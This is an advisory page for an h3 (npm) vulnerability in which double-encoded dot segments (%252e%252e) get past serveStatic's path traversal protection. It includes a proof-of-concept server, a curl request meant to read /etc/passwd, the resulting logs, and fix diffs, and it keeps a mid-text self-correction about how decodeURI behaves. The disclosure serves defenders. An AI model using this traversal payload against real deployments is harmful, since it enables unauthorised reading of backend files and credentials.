GHSA-72gr-qfp7-vwhw: h3: Double Decoding in `serveStatic` Bypasses `resolveDotSegments` Path Traversal Protection via `%252e%252e`
Summary The serveStatic utility in h3 applies a redundant decodeURI() call to the request pathname after H3Event has already performed percent-decoding with %25 preservation. This double decoding converts %252e%252e into %2e%2e, which bypasses resolveDotSegments() (since it checks for literal . characters, not percent-encoded equivalents).
Published Mar 20, 2026
Affected packages
h3
- Ecosystem
- npm
- Affected
- <= 1.15.8
- Fixed in
- 1.15.9
- Check
npm ls h3
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The serveStatic utility in h3 applies a redundant decodeURI() call to the request pathname after H3Event has already performed percent-decoding with %25 preservation. This double decoding converts %252e%252e into %2e%2e, which bypasses resolveDotSegments() (since it checks for literal . characters, not percent-encoded equivalents). When the resulting asset ID is resolved by URL-based backends (CDN, S3, object storage), %2e%2e is interpreted as .. per the URL Standard, enabling path traversal to read arbitrary files from the backend.
Details
The vulnerability is a conflict between two decoding stages:
Stage 1 — `H3Event` constructor (src/event.ts:65-69):
if (url.pathname.includes("%")) {
url.pathname = decodeURI(
url.pathname.includes("%25") ? url.pathname.replace(/%25/g, "%2525") : url.pathname,
);
}This correctly preserves %25 sequences by escaping them before decoding. A request for /%252e%252e/etc/passwd produces event.url.pathname = /%2e%2e/etc/passwd — the %25 was preserved so %252e became %2e (not .).
Stage 2 — `serveStatic` (src/utils/static.ts:86-88):
const originalId = resolveDotSegments(
decodeURI(withLeadingSlash(withoutTrailingSlash(event.url.pathname))),
);This applies a second decodeURI(), which decodes %2e → ., producing /../../../etc/passwd. However, the decoding happens *inside* the resolveDotSegments() call argument — decodeURI runs first, then resolveDotSegments processes the result.
Wait — re-examining the flow more carefully:
- Input pathname after event.ts:
/%2e%2e/%2e%2e/etc/passwd decodeURI()in static.ts converts%2e→., producing:/../../../etc/passwdresolveDotSegments("/../../../etc/passwd")does resolve..segments, clamping to/etc/passwd
The actual bypass is subtler. decodeURI() does not decode %2e — it only decodes characters that encodeURI would encode. Since . is never encoded by encodeURI, %2e is not decoded by decodeURI(). So the chain is:
- Request:
/%252e%252e/%252e%252e/etc/passwd - After event.ts decode:
/%2e%2e/%2e%2e/etc/passwd decodeURI()in static.ts:/%2e%2e/%2e%2e/etc/passwd(unchanged —decodeURIdoesn't decode%2e)resolveDotSegments()fast-returns at line 56 because%2econtains no literal.character: ``typescript if (!path.includes(".")) { return path; }``- Asset ID
/%2e%2e/%2e%2e/etc/passwdis passed togetMeta()andgetContents()callbacks - URL-based backends resolve
%2e%2eas..per RFC 3986 / URL Standard
The root cause is resolveDotSegments() only checks for literal . characters and does not account for percent-encoded dot sequences (%2e). The decodeURI() in static.ts is redundant (event.ts already decodes) but is not the direct cause — the real gap is that %2e%2e survives as a traversal payload through both decoding stages and resolveDotSegments.
PoC
1. Create a minimal h3 server with a URL-based static backend:
// server.mjs
import { H3, serveStatic } from "h3";
import { serve } from "srvx";
const app = new H3();
app.get("/**", (event) => {
return serveStatic(event, {
getMeta(id) {
console.log("[getMeta] asset ID:", id);
// Simulate URL-based backend (CDN/S3)
const url = new URL(id, "https://cdn.example.com/static/");
console.log("[getMeta] resolved URL:", url.href);
return { type: "text/plain" };
},
getContents(id) {
console.log("[getContents] asset ID:", id);
const url = new URL(id, "https://cdn.example.com/static/");
console.log("[getContents] resolved URL:", url.href);
return `Fetched from: ${url.href}`;
},
});
});
serve({ fetch: app.fetch, port: 3000 });2. Send the double-encoded traversal request:
curl -v 'http://localhost:3000/%252e%252e/%252e%252e/etc/passwd'3. Observe server logs:
[getMeta] asset ID: /%2e%2e/%2e%2e/etc/passwd
[getMeta] resolved URL: https://cdn.example.com/etc/passwd
[getContents] asset ID: /%2e%2e/%2e%2e/etc/passwd
[getContents] resolved URL: https://cdn.example.com/etc/passwdThe %2e%2e sequences in the asset ID are resolved as .. by the URL constructor, causing the backend URL to traverse from /static/ to /etc/passwd.
Impact
- Arbitrary file read from backend storage: An unauthenticated attacker can read files outside the intended static asset directory on any URL-based backend (CDN origins, S3 buckets, object storage, reverse-proxied file servers).
- Sensitive data exposure: Depending on the backend, this could expose configuration files, credentials, source code, or other tenants' data in shared storage.
- Affected deployments: Applications using
serveStaticwith callbacks that resolve asset IDs via URL construction (new URL(id, baseUrl)or equivalent). This is a common pattern for CDN proxying and cloud object storage backends. Filesystem-based backends usingpath.join()are not affected since%2e%2eis not resolved as a traversal sequence by filesystem APIs.
Recommended Fix
The resolveDotSegments() function must account for percent-encoded dot sequences. Additionally, the redundant decodeURI() in serveStatic should be removed since H3Event already handles decoding.
Fix 1 — Remove redundant `decodeURI` in `src/utils/static.ts:86-88`:
const originalId = resolveDotSegments(
- decodeURI(withLeadingSlash(withoutTrailingSlash(event.url.pathname))),
+ withLeadingSlash(withoutTrailingSlash(event.url.pathname)),
);Fix 2 — Harden `resolveDotSegments` in `src/utils/internal/path.ts:55-73` to handle percent-encoded dots:
export function resolveDotSegments(path: string): string {
- if (!path.includes(".")) {
+ if (!path.includes(".") && !path.toLowerCase().includes("%2e")) {
return path;
}
// Normalize backslashes to forward slashes to prevent traversal via `\`
- const segments = path.replaceAll("\\", "/").split("/");
+ const segments = path.replaceAll("\\", "/")
+ .replaceAll(/%2e/gi, ".")
+ .split("/");
const resolved: string[] = [];Both fixes should be applied. Fix 1 removes the unnecessary double-decode. Fix 2 provides defense-in-depth by ensuring resolveDotSegments cannot be bypassed with percent-encoded dots regardless of the caller.
Credited to offset.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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